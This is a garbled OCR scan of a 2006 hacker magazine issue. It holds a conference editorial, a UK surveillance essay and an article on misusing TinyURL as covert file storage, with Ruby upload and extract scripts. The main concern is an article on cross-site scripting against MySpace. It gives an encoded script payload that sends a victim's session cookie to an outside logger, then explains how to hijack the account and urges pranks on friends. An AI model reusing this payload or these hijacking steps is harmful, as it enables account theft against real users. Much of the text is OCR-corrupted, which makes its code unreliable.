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This is a very special year for us as 2006 
happens to be an anagram of our name. This 
has never happened before and it won't hap
pen again until 2060. And who knows where 
we'll all be by then ....  

This promises to be an interesting year for 
us and our readers for a number of reasons. 

First, let's outline some changes taking 
place right here in our pages. As of this issue 
we're introducing several columns which will 
be appearing regularly in addition to our usual 
reader sl,lbmitted articles. Two of these 
columns (�The Telecom Informer" and "Techno
Exegesis") will represent perspectives on 
emerging and existing technologies, specifi
cally issues related to telecom and all sorts of 
other advances and regressions in technology 
- all from the keyboards of a couple of our reg
ular writers. In addition to this, we are also 
debuting a guest column ("Hacker Perspec
tive") which takes a different look at the 
hacker world from the eyes of someone who is 
well known in the community. 

The idea behind these columns is to expand 
the material covered in our pages and to do it 
in a more timely fashion by aggressively pursu
ing stories and opinions, instead of simply 
waiting for them to come to us. We will still 
rely primarily on reader contributions to set 
the tone of our pages and to ensure that we 
continue to be the digest of the hacker com
munity. It's these voices that make the rest of 
the world see what's interesting and relevant 
about all of the stuff that fascinates us so 
much. 

2006 is also the year of HOPE Number Six. 
For the numerologists out there, this is also a 
bit of fun because it's the only time the num
ber of our conference has coincided with the 
number of the year. It's unlikely such a con
junction will ever occur again. So Six will defi
nitely be a prevailing theme at the festivities 
this year. Read into that what you will. 

As for the conference itself. we expect it to 
be even more fun than the last time we did this 
in 2004. We'll be in the traditional space at the 
Hotel Pennsylvania in New York City with 
plenty of room for all sorts of speakers, 
demonstrations, computer setups, vendors, 
and whatever else we can come up with. As al
ways, we want your input in order to make 
HOPE Number Six as good as it can possibly be. 
That means not only telling us what you would 
like to see but helping to figure out ways to 
make amazing things happen. We love it when 
outsiders inform us that some goal or project 
is impossible only to watch as the many people 
behind the scenes make it happen anyway. 
This kind of thing is par for the course when 
you get a few thousand hackers together 
thinking constructively. 

It's because of our volunteers that all of 
this has been possible and has grown so much 
over the years. In the corporate world, a con
ference like HOPE (apart from being impossible 
for a variety of reasons) would easily charge 
attendees anywhere from a hundred dollars to 
a couple of thousand. Why? Because that's how 
the corporate world works. It's all about mak
ing a profit and not doing a single task unless 
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you're well compensated. And we don't have a 
problem with their believing this since so 
many of them clearly aren't getting anything 
else out of what they do. But when putting on 
a conference in our community, we gladly work 
our fingers to the bone, stay up for days at a 
time, deal with all sorts of challenges and 
problems, and charge the bare minimum so we 
don't lose a ton of money putting it all to
gether. We could easily become more corpo
rate and make a real killing. People suggest 
this to us all the time. They even try to win us 
over with their offers. But the spirit of HOPE 
would evaporate in such a setting. Ask anyone 
who's volunteered to be a part of one of our 
conference teams. There is no better feeling 
than to know that you played a part in making 
such magic occur. 

There is still time for you to get involved on 
a number of levels. Just check the website 
(http://www.hope.net) to see the latest. We'll 
be needing network experts, audio/visual peo
ple, artists, and a setup crew, just to name a 
few. Simply email volunteers@2600.com to 
get the ball rolling. 

And of course, speakers and panels are 
what make the conference truly memorable. 
Over the years we've had some truly phenome
nal presentations. As always, we're opening 
the doors to the community to get involved. 
Email speakers@2600.com if you have a talk 
or presentation you'd like to give or if you have 
an idea for an interesting panel discussion. 

We also would like to have more vendors at 
HOPE this year. If you think you have some
thing that would interest thousands of hack
ers, send an email to vendors@2600.com with 
details and we'll help set you up. The sooner 
the better though as space is limited, huge as 
it may be. 

Finally, a word to those of you on the 
fence. We know all the excuses for not bother
ing to come. "New York City's expensive." "It's 
hot in the summer." "Your country wants to 
take my fingerprints." All valid statements. 
But there are remedies for each. You can cut 
down on expenses dramatically if you're smart 
and follow the tips on the HOPE web pages. It's 
not that hot in New York, and, if it is, it's nice 
and cool at the conference. And as for people 
who are timid about coming to the States, we 
sympathize. But not coming here because of 
the erosion of various liberties negates any
thing positive you may have gotten or con
tributed during your encounters with so many 

like-minded individuals. We've seen bonds 
forged at our conferences that will last a very 
long time and stand a real good chance of 
changing society in a most positive way. So 
even if you see potential inconveniences, con
sider that we would never have made it 
through the first HOPE if we had let them de
tract us from what we really wanted to do. 

We think that 2006 has a lot going for it in
sofar as potential for positive change. People 
are waking up, joining forces, speaking out, 
and actually making a difference. While things 
have admittedly gotten bad on a number of 
fronts, the tide will eventually turn. And free 
thinking intelligent people who have an un
derstanding of the tools around them will play 
a significant role in moving that tide. 

But enough about this year. What will the 
real future bring? What developments will oc
cur between now and the next anagram year of 
2060? It's hard to even imagine. 

Society changes very quickly and when 
technology is a factor it can move at lightning 
speeds. Just look at the monumental changes 
that have taken place since we began publish
ing. But there are always fundamental values 
that, while under constant attack, never really 
stay away for long. People will always want to 
be free. Creative types will always find a way to 
express themselves. And dissidents will always 
emerge, no matter how hard the authorities 
try to stamp them out. 

Being an individual is still one of the hard
est jobs on the planet. Whether or not to con
form to one useless standard or another, to 
compromise your beliefs in order to make your 
life easier, or to face derision for going against 
the tide ... these are the challenges we face on 
a daily basis. But an individual is never alone. 
Throughout the world, and throughout time, 
independent thinkers are the ones who make a 
difference and the ones who eventually tri
umph. And while few of us may be able to rec
ognize the world of 2060 on many fronts, we 
can guarantee that the free thinkers and mis
fits will continue to exist in abundance. And 
hackers will be among them. 

*** 

P.S. One more thing for you numerologists: 
Add all of the numbers in the headline 
together. Enjoy. 
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• • Filesh arlng uSing 
TinyURL.co 

by mirrorshades 
poj28ae02@sneakemail.com 

http://neworder.box.sk/ 
If you already know what tinyurl.com is, then 

chances are that you probably have the wrong 
idea as to what this article is about. Feel free to 
skip ahead to the good stuff. 

If you don't already know what tinyurl.com is, 
then you should check it out. Very simply, it is a 
free URL redirection service that lets you enter a 
long URL, and provides a shorter URL that will 
automatically redirect to it. So you can enter 
something like this: 
h t tp://www . ext reme tech . com/art i c l e 2 / 0 .  

- 1 69 7 , 1 1 5 3 2 8 4 , O O . a sp 

and TinyURL will give you something like this: 
h t tp:/ / t i nyurl . com/ 7 up 

As you can see, the TinyURL version is much 
shorter and easier to email (it won't have the line 
break problem), or even write by hand or give out 
over the phone. Entering the "tiny" URL in your 
browser will give you a 302 redirect to the origi
nal URL. (Actually, there are two redirects to get 
you there, but that doesn't affect what we will be 
doing.) 

That's it ! That's what it does. Pretty straight
forward, really. The interesting thing that I found 
out is that there doesn't seem to be any sort of 
URL validation on their end. They assume that 
whatever you type into the input box will be 
valid, so they give you a redirect to it. So if you 
type in "I will haxOr joo ! " ,  then the resulting 
TinyURL redirect will go to http://I will haxOr 
joo! (which, obviously, is invalid). What this 
means to you and me is that it will take whatever 
arbitrary string you give it, and give you a nice 
short link to it. 

What You Will Need 
In order to share files via TinyURL, you will 

need a few things. The technique I describe 
should be platform-independent, but was tested 
on a Windows box. It should work the same way 
on whatever as you like, as long as you can as
semble the rest of the tools. 

First and foremost, you will need a web 
browser and a text editor. I assume you are smart 
enough to handle these without any additional 
explanation. 

Next, you will need the command-line utility 
wget. This should come standard with most *nix 
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installations, but Windows users will need to 
grab a copy from the web (see the download link 
at the end of the article). 

Finally, you will need a hex editor. This is im
portant, as your text editor will not give you the 
expected results. I like the Hex Workshop editor 
for Windows, but use whichever one you prefer -
they should all work more or less the same way. 

How It Works 
What we will be doing is taking advantage of 

the apparent lack of input checking. We already 
know that what you type in doesn't have to be a 
valid URL, so let's make it something useful. Let's 
say you have this file, nekkid_chick.jpg, that you 
want to send to your friend overseas. H owever, 
since The Man snoops on all your email and 1M 
communication, you need a sneakier way to 
transfer the file. This is where TinyURL comes in. 

Open nekkid_chick.jpg in your hex editor. 
Chances are that you will see a three column lay
out. The first column is probably the address col
umn (you can just ignore this for now). The other 
two columns should be the actual byte sequence 
and the ASCII equivalent of the byte sequence in 
the file; for Hex Workshop the middle column is 
the bytes and the third column is the ASCII. For 
this process, we are only interested in the byte 
sequence, not in the ASCII values. This is impor
tant, and this is why just using a text editor will 
not work for this. 

Select all the text in the byte sequence and 
copy it to the clipboard. You now have a copy of 
the binary version of the file ready to go some
where. Can you guess what we do next? Right -
open your browser and visit tinyurl.com. In the 
middle of the page, you will see a text box with 
the label " Enter a long URL to make tiny. " Go 
ahead and paste the contents of the clipboard 
into this box and click the "Make TinyURL ! "  but
ton. If all goes well, you will be taken to a page 
that gives you the "URL" that you entered and the 
resulting short URL. This new URL is the one to 
send to your friend. Congratulations! You have 
just stored your file on TinyURL's servers. 

Getting the file back out is more or less the 
same process in reverse but with one important 
difference. Even though tinyurl.com doesn't 
seem to care whether a URL is valid or not, your 
web browser does. If you just enter the TinyURL 
link into your preferred browser, it won't know 
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what to do with the full link (the way it handles 
this may differ depending on which browser you 
use). This is where wget enters the picture. 

For those not in the know, wget is a program 
that acts more or less as a way to download web 
pages and save them locally. Typing "wget 
http://www.google.com/'' will get you a com
plete copy of Google's index.html page, nicely 
saved on your hard drive. Wget is pretty smart in 
that it knows how to handle a web redirect ... and 
this is the key to retrieving the file stored on 
TinyURL. 

To get your file back, get to a command 
prompt and type in the following: 
wge t -0 l o gfll e_ n ame h t tp://t i nyurl . com/ 

"yo u Y_l i n k_h ere 

What this will do is retrieve the page redi
rected to by your short url and store the entire 
output of the process in a text file 
("logfile_name" - what you name this file is 
unimportant). Open this logfile in a text editor 
and you will see the entire output of wget. If all 
went well, you should see a long string of hex 
characters in the mix - this is the byte sequence 
for your file. (This byte sequence is actually re
peated a few times inside the log file since wget 
assumes it is the target URL.) 

Now what you need to do is to copy the com
plete byte sequence from your log file. The string 
" Location: http://,' will be at the beginning of the 
first sequence, and will be ended by " [follow
ing]" (there is a space before the first bracket). If 
you're a regular expression kind of geek, this 
should work for you: jLocation: 
http:\j\j(\w*)j. Otherwise, you may j ust need 
to use your text editor's search function. Either 
way, grab hold of the entire byte sequence and 
copy it to your clipboard. 

Once you have the complete sequence copied, 
open up your hex editor and paste it. Again, be 
sure that you are pasting into the byte column, 
not the ASCII column. Save the file as 
nekkid_chick_wOOt.jpg and exit your hex editor. 
You're done! Thanks to TinyURL, you have now 
downloaded a shared picture in a manner not 
likely to be discovered by the casual observer. 
(Note that even if The Man is able to locate the 
byte sequence, he will still need to figure out 
what type of file it is - this may be easier for some 
types of files than for others.) 

If all this wgetjcopyjhexeditjpastejsave non
sense is too much for you , fear not! Because I got 
tired of doing it that way myself, I wrote two 
short programs, "implant" and "extract", which 
are designed to automate the process. Have a 
look below for the code and additional informa
tion. 
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Outro 
For you nerds who are interested in informa

tion theory, this method of filesharing uses what 
is called a "covert channel." The US Department 
of Defense defines a covert channel as "Any com
munication channel that can be exploited by a 
process to transfer information in a manner that 
violates the system's security policy" (from the 
Orange Book). What this means to the layman is 
that we are using a method of storing and re
trieving information ( 1) of a different type and 
(2) in a different way than the process normally 
dictates that we use. (Steganography is another 
type of covert channel communication that you 
may be familiar with.  G ive it some thought - see 
where else you can think to hide a string of 
bytes.) 

Please use good judgment with this tech
nique. I have tested i t  with a 20k image file and 
it works as of this writing. H owever, if everyone 
starts uploading 800 meg DVD rips, the TinyURL 
folks will likely notice and probably put some sort 
of validation or length check on the initial URL. I 
have found, though ,  that there are quite a few 
URL redirection providers out there ... check the 
links section for the Open Directory index page 
on that topic. I have not tried any others, but my 
guess is that there are a number of them that will 
work in the same way. This is probably best suited 
for smaller files and is really more proof-of-con
cept than anything else. Nevertheless, do with it 
what you please. I wash my hands of you. 

Thanks to zshzn for help with the regular ex
pression and UziMonkey for help with the Ruby 
code. Comments or questions, feel free to email 
me (address given above). 

Related Links 
• TinyURL: http://tinyurl.com/  
• wget (for Windows): h ttp://unxutils.source 
.. forge.netj 
• Hex Workshop: http://www.hexworkshop.com/ 
• Test JPEG Image File: http://tinyurl.com/84wyu 
• Open Directory Redirection Provider L isting: 
http://tinyurl.com/3eqr 

"Implant" and "Extract" 
Those of you who are astute enough to use 

Ruby are in luck, as I have simplified the storage 
and retrieval process for you. The implant pro
gram takes a filename as input, then converts it 
to a binary string and posts it to TinyURL, return
ing your new redirect link. The extract program 
takes the end portion of your redirect link (it as
sumes http://tinyurl.com/ at the beginning, so 
all you need to enter is the part after the finaL 
slash) and writes a fiLe to the current directory 
with that as the name. You will need to rename it 
or give it a proper extension on your own to fi
naLize the process. 
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require 'net/http' 

print "File to upload: " 

source = gets.chomp 

raise "No source found.1I if source 

bytes = "" 

File.open( source, "rb") do I f I 

print "Reading file . • .  " 

f.each_byte do Ibl 

#format as hex 

bytes « sprintf("%02X", b) 

end 

puts "done" 

end 

Net: :HTTP.start( "tinyurl. com") do I httpi 

puts "Sending file . . •  " 

resp = http.post("/create.php", "url=#{bytes}") 

resp .body. scan( %r{value=''http://tinyurl.com/ (\w*)"}) 

puts "File #{source} uploaded to http://tinyurl.com/#{$l} " 

end 

[end code] 

extract.rb 

[begin code] 

require 'net/http' 

print "Extract file -- http://tinyurl. com/" 

target = gets.chomp 

raise "No target found." if target == "" 

Net::HTTP.start("forwarding.tinyurl.com") do Ihttpl 

resp = http.get(" /redirect.php?num=#{target}" ) 

if resp.code == "302" then 

else 

puts "Retrieving data . . •  " 

resp[ 'location'] =- %r{http://(\w*)} 

bytes = $l.split(/( • .  )/) 

bytes.compact! 

byte_string = bytes.pack("H*"*bytes.length) 

puts "Creating file #{target} ... " 

File.open(target, 'wb') do If I 

f « byte_string 

end 

raise "HTTP #{resp.code} received. Something is fuxOred somewhere ... " 

end 

puts "Done!" 

end 
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I XSS'ing MySpace.com 
by FxYxIxE 

So you've probabLy been on, have seen, or have your own part of the biggest trend of recent Internet 
times: MySpace.com. It figures that with such a massive site that uses so many different types of web ap
pLications that it wiLL be vuLnerabLe to muLtipLe (ross Site Scripting attacks. If you're not familiar with 
(ross Site Scripting (XSS or (55, not to be confused with (ascading StyLe Sheets), or have forgotten 
about them, check out the Wikipedia entry about them. Then meander on over to PacketStorm to get 
some exampLes on other sites to further understand the concept. Basically what it enabLes one to do (in 
this case) is inject JavaScript into the URL of a site that uses a web appLication. Which means you can 
aLso put it directly into a cLickabLe hyperLink. The scope of this article wiLL onLy cover using JavaScript 
(encoded) directly in the hyperLink to expLoit the vuLnerabilities. There are other ways that couLd work 
very weLL without having to encode the JavaScript. such as ActionScript in Flash ,  which I wiLL touch upon 
again Later. 

There are various different pLaces in MySpace in which JavaScript can be injected. For exampLe the 
"User Search"  web appLication URL and things Like that. Most of them wiLL need to converted and encoded 
into hex or some other characters. UsuaLLy not aLL of the JavaScript needs to be encoded, onLy the 
<script>-type tags. This encoding enabLes one to bypass MySpace's filters which attempt to avoid XSS. 
The wonderfuL job that it does .... 

Let's move on to some exampLes and some expLanations. First of aLL, sign up for a MySpace account. 
You will need it if you want this to work. By the time this is pubLished, this exampLe may have aLready 
been fixed by MySpace. I do not wish to guide any script kiddies step-by-step into this, so you will be 
forced to find your own XSS vuLnerabilities by using the information shown beLow. You couLd aLso use any 
method you prefer, possibLy a vuLnerability scanner. 

Now here is the good stuff, the code, the impLemented Link, and the expLanation of such. 
The vuLnerabiLity Lies within the User Search appLication (a.k.a. Browse). 

h t tp://searchres u l t s . myspa ce . com/i n dex . cfm?fu s e a c t i on =a dvancedFi n d . res u l t s & websea rch 

-=1 & sp o t ld=3 & searchrequ e s t =%22 %3E%3 Cscript %3Edoc umen t %2El oca t i on = ' h t tp://www . yo u r  

- s erver . comlcgi - l oc a l lcooki e s t ea l er . cgi %3F%2 0'%2 0 %2Bdocumen t . cooki e%3Cls cript %3E 

As you can see from the Link above, I have much of the Link encoded in hex in order to evade My
Space's fiLters. BeLow is the Link without the encoding. 
h t tp://s earchres u l t s . myspa ce . com/i n dex . cfm?fu sea c t i on =a dva n cedFi n d . res u l t s & webs e arch 
-=1 & sp o t ld= 3 & s earchrequ e s t =  "><s crip t >doc umen t . l o c a t i on =  .h t tp://www . yours erver . com/ 

-cgi - l oc a l lcooki e s t e a l er . c gi ? ' +documen t . cooki e<lscrip t >  

As you can see, the XSS actually starts after the "search request=". The JavaScript is injected directLy 
into the Link. It points to the document Location which is just a test site of 
http://www.yourserver.com/cgi-LocaLjcookiesteaLer.cgi. Then the JavaScript teLLs the (GI script to add 
the current document.cookie to the Log file which is stated within the (GI script. 

Once you have successfuLLy embedded your JavaScript and you have retrieved someone's cookie, open 
up the Logger fiLe you stated in the (GI script. and you will see something aLong the Lines of the foLLow
ing. They do vary from user to user, but you onLy need one part of it. 
AGEFROM= 1 6; AGETO=2 0; AREASEARCH= O ;  COLLAPSE=O; COUNTRY=US; DISTANCE=2 0; GENDER=W; 

-NODETAIL = 1 ;  ORDERBY=3; PHOTOS=l; POSTAL=4 4 1 3 0; STATUS=; AUTOSONGPLAY= O ;  MYSPACE= 

-myspace; MSCOUNTRY=US; REVSCI=l; MYUSERINFO=MIHgBgorBgEEAYI3WAOxoIHRMIHOBgorBgEEAY 

- I 3 WAMBoIGIMIG8A gMCAAECAmYDAgIAwAQIR 1 uKtQZHL 4MEEloKAkkZuvh epPPPHsFn lq4EgZD 4 WsnTYA 1 BT 

- l doEtwRTfRCWTNHRIEU2 D OodfOql g4XAJMm3 zjj4LJmfo 9 ZDDw5 U3 trmzuOpQve WnDjCZSQb3zjUH2 vIVX 

-iEoNnlx 4 +1 L la unAL 3 Ui zIJ45+Ji WGpLjgull u aMZZ6jjz giZl lwucfwY3cKDN5IvfFO++kVREQOhD 7b 6 h 3  

- i Eb U5XdbxVjrVSN6 4 =; DERDB=ZG 9 t YWl uPXl h a G 9 vJnR s ZD 1 jb2 0mc2 1 va 2 VyPTAmc2V4 cHJl ZjOxJn 

-VOeXBIPTEmcmVsa Wdpb2 5pZD O wJnJIZ21vbjOz OSZwb3NOYWxjb2RIPTQOMTMwJm 1 h cml O YWxzdGFOdXM9 U 

-yZpbmNvbWVpZDOxJmh l a WdodD OxODAmZ2Vu ZGVyPUOmZnJpZW5k c z O wJmVO a G5pY2 1kPTgmYWdl PTE4JmJv 

- ZHIOeXB l a WQ9MiZja Gl s ZHJlbmlkPTEmY2 9 1 bnRyeT1 VUyZkYXRpbmc9MCZkcml u a 2 VyPTEmZWR 1 Y2FO a W9 
-ua WQ9MQ==; LASTUSERCLICK={ t s  ' 2 0 0 5 - 1 2 - 2 0  0 0: 4 9 : 1 3 ' }; FRNDIDxr2g=2 7 2 1 7 7 4 

The section you are Looking for in this is the MYUSERINFO portion, which in this case is: 
MYUSERINFO=MIHgBgorBgEEAYI3 WAOxoIHRMIHOB gorBgEEAYI3WAMBoIGIMIG8A gMCAAECAmYDAgIAwA 

- QIR 1 uKt QZHL 4MEEloKAkkZu vh epPPPHsFnlq4EgZD4 WsnTYAlBTl doE t wRTfRCWTNHRIEU2DO odfOql g4XA 

-JMm3 zjj4LJmfo 9ZDDw5 U3 t rmz UOpQve WnDjCZSQb3zjUH2 vIVXiEONnlx 4 + 1 L la unAL3 Ui zIJ4 5+Ji WG 
-pLjgu ll u aMZZ6jjzgiZl lwu CfwY3cKDN5IvfFO++kVREQOhD 7b6h 3iEbU5XdbxVjrVSN64 =; 
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To test to find your own XSS vuLnerabilities in MySpace you can try to use this simpLe exampLe Link to 
see if your JavaScript is working (everything after the "name=" portion is the test): 
h t tp://www . vu l n erabl ewebs i t e . com/u s ers/search = 1 2 3 4 5 & n ame=<scrip t >a l er t ( " He l l o ! " ) ;  

" </s crip t >  

If  it  worked, an aLert box will pop up with your message of Hello in it. 
Now to move on to what you can do with this newfound cookie and information. 
Note: You wiLL need to write your own CGI script that is used in the above exampLe. The script basicaLLy 

Logs document.cookie to a Log file. You can easily find a tutoriaL or even a compLeted one using GoogLe. 
HopefuLLy by now you can teLL what you can do with such a vuLnerability, but if you cannot here's the 

brunt of it. You probabLy noticed my JavaScript was telling an off-site CGI script to retrieve 
document. cookie. With someone eLse's current session cookie from MySpace, you couLd effectiveLy hijack 
their MySpace account and session. With IE, M o zilla , or any browser you prefer (that has the correct 
pLug-ins), you can copy the user's MYUSERINFO portion of their cookie into your current cookie. After you 
do this, aLL you have to do is refresh the home page of your current MySpace account, and voila, you are 
Logged in as the user. Note that the user must be onLine in order for you to Log in as them, unLess you 
capture the cookie and set it to never expire, and have the means to impLement that. 

With the Link you generated using JavaScript and the MySpace XSS vuLnerabLe web appLication, you 
can now send it to your friends (or enemies) and if they're onLine and guLLibLe enough (try a BuLLetin), 
you can instantly watch their cookie appear in your cookie Log fiLe, and then proceed to Log in as them. 

As stated before, there are ways to get the Link and JavaScript to execute without the user doing 
more than visiting a page on MySpace they wouLd normaLLy visit, such as their front page, a private mes
sage, or your MySpace page. This is accompLished by embedding the "evil" JavaScript and XSS info into a 
FLash document containing ActionScript. MySpace onLy bLocks the <embed> tag on certain parts of its 
site. 

Note that the cookie you have just stoLen aLso contains the user's password. It is encrypted . . .  so you 
really got more than just their session. That is if you know what to do with it. But that is an entire arti
cle in itseLf . . . .  

Now go have some fun posting obscene pictures on your friends' MySpace. c' 

gdom: 
The State of Survei 

xenuhdo@gmaiL.com 
As of Autumn 2005 an ANPR (Automatic Num

ber PLate Recognition) system has been roLLed out 
across the United Kingdom, at each of the 43 
forces in EngLand and WaLes and in some forces 
across Scotland. This nationwide system is run 
centraLLy from London and is expected to process 
as many as 50 million number pLates a day by the 
end of 2006. During processing of these number 
pLates the information of where and when they 
were seen wiLL be Logged and kept on file for at 
Least two years. 

ANPR is a method of using OCR (OpticaL Charac
ter Recognition) technoLogy on video or static im
ages to automaticaLLy detect and read the number 
pLate of any vehicLe(s) that are visibLe. In the case 
of the UK poLice the system reads from Live video 
feeds and as of Autumn 2005 the system has been 
reading from CCTV cameras nationwide. But years 
before this the poLice had aLready impLemented a 
mobiLe ANPR system. The ANPR system wouLd take 
video from a camera either in a poLice car or in a 

speciaLLy modified van. This technoLogy was not 
instaLLed on motorcycles. Instead the motorcycles 
form part of an "intercept team." 

The vans which are still in use today are highLy 
visibLe. Some might even say "ANPR" on the back. 
The back of the vehicle is the bit that they wiLL 
point towards the traffic. This is done because the 
top paneLs above the windows on the two back 
doors hinge upwards reveaLing two CCTV cameras. 
It wouLd appear that each camera can monitor two 
Lanes each, so this van is normaLLy used on motor
ways. With these vans there is normaLLy a Large 
presence of other poLice vehicles in the area. Mo
torcycles are most commonLy used. These vehicles 
wiLL receive a radio caLL from the ANPR operator 
(who'S in the van) when he/she gets a "hit" and 
they wiLL intercept the appropriate vehicle. 

The ANPR system in poLice cars uses a camera 
that is buiLt into the car. There is no way of identi
fying if the system is in use. It is designed to be 
passive and work during normaL operation of the 
car. Some oLder cars use Laptops and portabLe 
cameras. You wiLL normaLLy find these cars parked 
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up at the side of the road. 
The ANPR system in whatever form wiLL do the 

same task. It wiLL "read" the number pLates of vehi
cles it sees. It wiLL then check this number against 
the poLice nationaL computer (PNC), LocaLized in
teLLigence databases (and the databases of aLL the 
other forces), and the DVLA ( Driver and Vehicle li
censing Agency) databases to check for untaxed 
cars, uninsured cars, to see if the car has been 
stoLen, and to check if the owner of the car is 
wanted. 

There is aLso a certain amount of Low LeveL data 
mining going on because the system can aLso aLert 
the poLice of "cloned" pLates, where the same 
number pLates are being used on different cars. It 
does this by checking the system for the Last few 
instances of the car being seen. ObviousLy if the 
system sees the car and the car number pLates 
were Last registered on the database as being 600 
miles away an hour ago, then there has either 
been some serious speeding on the motorist's part 
or the pLates have been cloned. 

The poLice when "taLking up" this system wiLL 
give exampLes of puLLing over known drug offend
ers/deaLers and finding Large amounts of drugs on 
them. This teLLs us that the system is somehow 
connected to the criminaL records system. They 
wiLL probabLy put the information of known crimi
naLs in their LocaL inteLLigence database, so that 
when their cars appear on the system they can go 
fishing and hope they catch something. 

One thing that we can Learn from an interview 
of Chief ConstabLe Meredydd Hughes in The Sun
day Times 1 is that when they triaLed this system 
on the M42, they used cameras every 400 yards. If 
they were onLy using these cameras for ANPR, this 
wouLd be overkill. They wouLd be checking the 
number pLates against the database every 400 
yards. They are obviousLy using this system as a 
new speed camera. 

But that was just a triaL on one motorway. 
What about the rest of the motorway? Do they aLL 
have ANPR cameras every 400 yards? The nationaL 
ANPR coordinator, John Dean, has said that every 
motorway in the country has ANPR cameras at 
what he called "strategic points." 

Something that they aLso Like to boast about is 
their Link to petroL stations and supermarkets. 
They are Linking those cameras in some areas to 
their system, using their CCTV footage to track 
peopLe when they fiLL up or do the shopping. 

Some companies Like Genesis UK' are offering 
ANPR systems for petroL stations and claiming 
them to be 'the onLy systems in the UK Linked to 
poLice databases." 

So that's ANPR. But they want more! There 
have aLso been caLls for "pay-as-you-go" road 
charging schemes nationwide by AListair DarLing, 
the Transport Secretary, through which he means 
to sneak in a system of "totaL awareness" in the 

form of GPS trackers in every car in the country. 
He wants triaLs of this in five years. 

Most worrisome is that some car insurance 
companies here are using this system aLready to 
work out how much insurance to charge you based 
on how much,  how far, and where you drive! They 
are now treating cars Like mobile phones with "off
peak" driving with "the first 100 off-peak miles 
free per month." This system appears to use the 
mobile phone network to transmit its data back to 
the companies invoLved. 

Want to hear more reasons to dump your car? 
How about " E-pLates" 1 - RFID tags in your number 
pLates. If the government triaLs go weLL, every 
number pLate wiLL contain an RFID tag containing 
a "unique encrypted identification number" that 
can be read at speeds of up to 200 mph at a dis
tance of 100 meters away at a rate of 200 cars a 
second, whereas ANPR is unabLe to read number 
pLates at speeds greater than 100 mph. This sys
tem wilL consist of both fixed Location receivers 
and mobile units and it wiLL be used to stop "car 
cloning" in the same way the ANPR system works. 
E-pLates is just one company/system that is hop
ing to be picked for the forthcoming government 
trials of RFID-based number pLates. But whichever 
company wins it's the same resuLt for us. They are 
going to test this system first on poLice cars. It's 
quite obvious a certain amount of stupidity has 
gone into this pLan. I can imagine now a product 
for your car that will "detect poLice cars from 100 
meters away." 

So now you have stopped using your car for 
fear of being faLseLy arrested at every turn. You 
wiLL probabLy want to start waLking everywhere, 
right? At Least for short journeys. WeLL, if I were 
you I wouLd take a hat and false moustache be
cause the next hottest "civiL-Liberty-kiLLing" toy is 
faciaL recognition! 

Some poLice forces (Like West Yorkshire poLice) 
have been using AFR (Automatic FaciaL Recogni
tion) to compare images taken from CCTV cameras 
where a crime has taken pLace against a database 
of tens of thousands of mugshots, using a system 
deveLoped by Aurora Computer Services Ltd. '. 

In 2005 at the Weston Park, Staffordshire for 
the "V FestivaL, "  the Staffordshire PoLice, having 
gotten bored with just using the same oLd ANPR 
and "paLm-wipe drug testing" kits on its atten
dees, decided to go the whoLe nine yards and scan 
their faces as weLL, Looking for "troubLemakers" of 
course. The database, which was "Linked to an in
teLLigence database of known offenders' photos, "  
returned faciaL matches to  officers 5. 

With ID cards on the way, we wiLL probabLy have 
our faces "mapped" as another way to identify us. 
Won't they just Love that, a fuLL database of every
one in the country to search against whenever a 
crime takes pLace. 

"It is also LikeLy that that faciaL recognition 
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technoLogy will deveLop to the point where an in
dividuaL captured on a C(TV camera couLd poten
tiaLLy be identified from the NationaL Identity 
Register. Again, we doubt whether the pressure to 
use the system in this way couLd be resisted for
ever by future governments. " .  Those are the words 
of a House of Commons Home Affairs report from 
JuLy 2004 '. 

So in years to come if you happen to have an 
uncanny Likeness to someone who's just been on 
Crime Watch, expect a knock at the door. 

Meanwhile in Birmingham and Newham they 
have for some time now hooked their town center 
C(TV systems up to a piece of software caLLed 
FaceIt '. FaceIt automaticaLLy captures faces 
viewed by the C(TV cameras and compares them 
with a big database. 

There are obviousLy questions about the accu
racy of these types of systems and the founder of 
Aurora Laid them to rest teLLing the BBC: "We can't 
say it's 100 percent but we've done tests and have 
a zero failure rate. "  8 That clears that up, then. 

There are, of course, many more ways they can 
track you these days. As we know from the after
math of the London JuLy 7th bombings, they can 
and wiLL use mobile phones to track peopLe. Some
thing I have not seen yet is remote iris recogni
tion. They have even deveLoped a system to 
identify peopLe by the way they waLk (see Auto
matic Gait Recognition), but not one to read your 
iris from a distance. SureLy it won't be too Long 
now. 

Of course none of these system work 100 per
cent and for those of us who wish not to be 
tracked there will aLways be flaws with these sys-

tems. Don't want to be tracked by ANPR? Don't use 
a car. Don't want your face recognized? Wear a hat 
and don't Look up at cameras. Don't want your 
phone tracked? Don't use one. Don't register your 
details or Leave it off untiL you need to use it. 
Don't want your iris read? RepLace your eyes . . .  or 
just use Atropine eye drops which will dilate your 
pupils for a coupLe of days. Tom Cruise's character 
in Minority Report couLd have saved himseLf a Lot 
of pain this way. 

But what if you have a skin disease that has 
faded away your fingerprints? Or a cataract? Or 
Lost your hands in an accident? Or a million other 
things that affect parts of your body that are used 
in biometric identification. Will you in the future 
be abLe to do anything in this country? These sys
tems wilL breed more discrimination and aLienate 
the minority groups even more. These systems are 
wrong on every LeveL and any advantages the gov
ernment can come up with - or any eLaborate "one 
in a billion chance" scenario for these systems sav
ing us from a nuclear attack - is just not worth the 
invasion of privacy and destruction of civiL rights. 
[1]  http://www.timesonLine.co.uk/newspaper 
-/0, ,176-1869818,00. htmL 
[2] http://www.guk.co.uk 
[3] http://www.e-pLate.com 
[4] http://www.auroraserv.co.uk 
[5] http://www.efestivaLs.co.uk/news/050807a.shtmL 
[6] http://www.pubLications.parLiament.uk/pa/ 
-cm200304/cmseLect/cmhaff/130/13007. htm 
[7] http://www.identix .com 
[8] http://news.bbc.co.uk/2/hi/uk_news/ 
-magazi ne/ 4035285 .stm 

Making Rover 
by Bryan Elliott 

As usuaL, blah, bLah, bLah, don't get yourseLf in 
troubLe. Not that strictLy adhering to a EULA couLd 
usuaLLy get you in too much troubLe. 

This is the story of how I made the Microsoft 
Search Assistant dog into a flatuLent beast of, um, 
finding things. In addition, it's the story of how I 
did it without breaking the EU LA. It's effectiveLy 
evidence of the pointLessness of EULAs in general 
in terms of preventing damage to one's image and 
copyrights. 

I got the idea while troLLing around the Slash 
dot forums. Somehow, a post about the  ability to 
make a scanner pLay music devoLved into a conver
sation about dogs farting the Star Spangled Ban-

ner (such is SLashdot) to which another poster 
said, "If you can make the Microsoft search dog do 
that, I'LL consider you a God." 

I thought to myself, well, I don't know about 
the Star Spangled Banner, but there's no reason 
good oLe Rover shouLdn't be able to cut a few. 
Maybe I'LL make out as a minor demigod. You know, 
spend weekends in the heavens and such . 

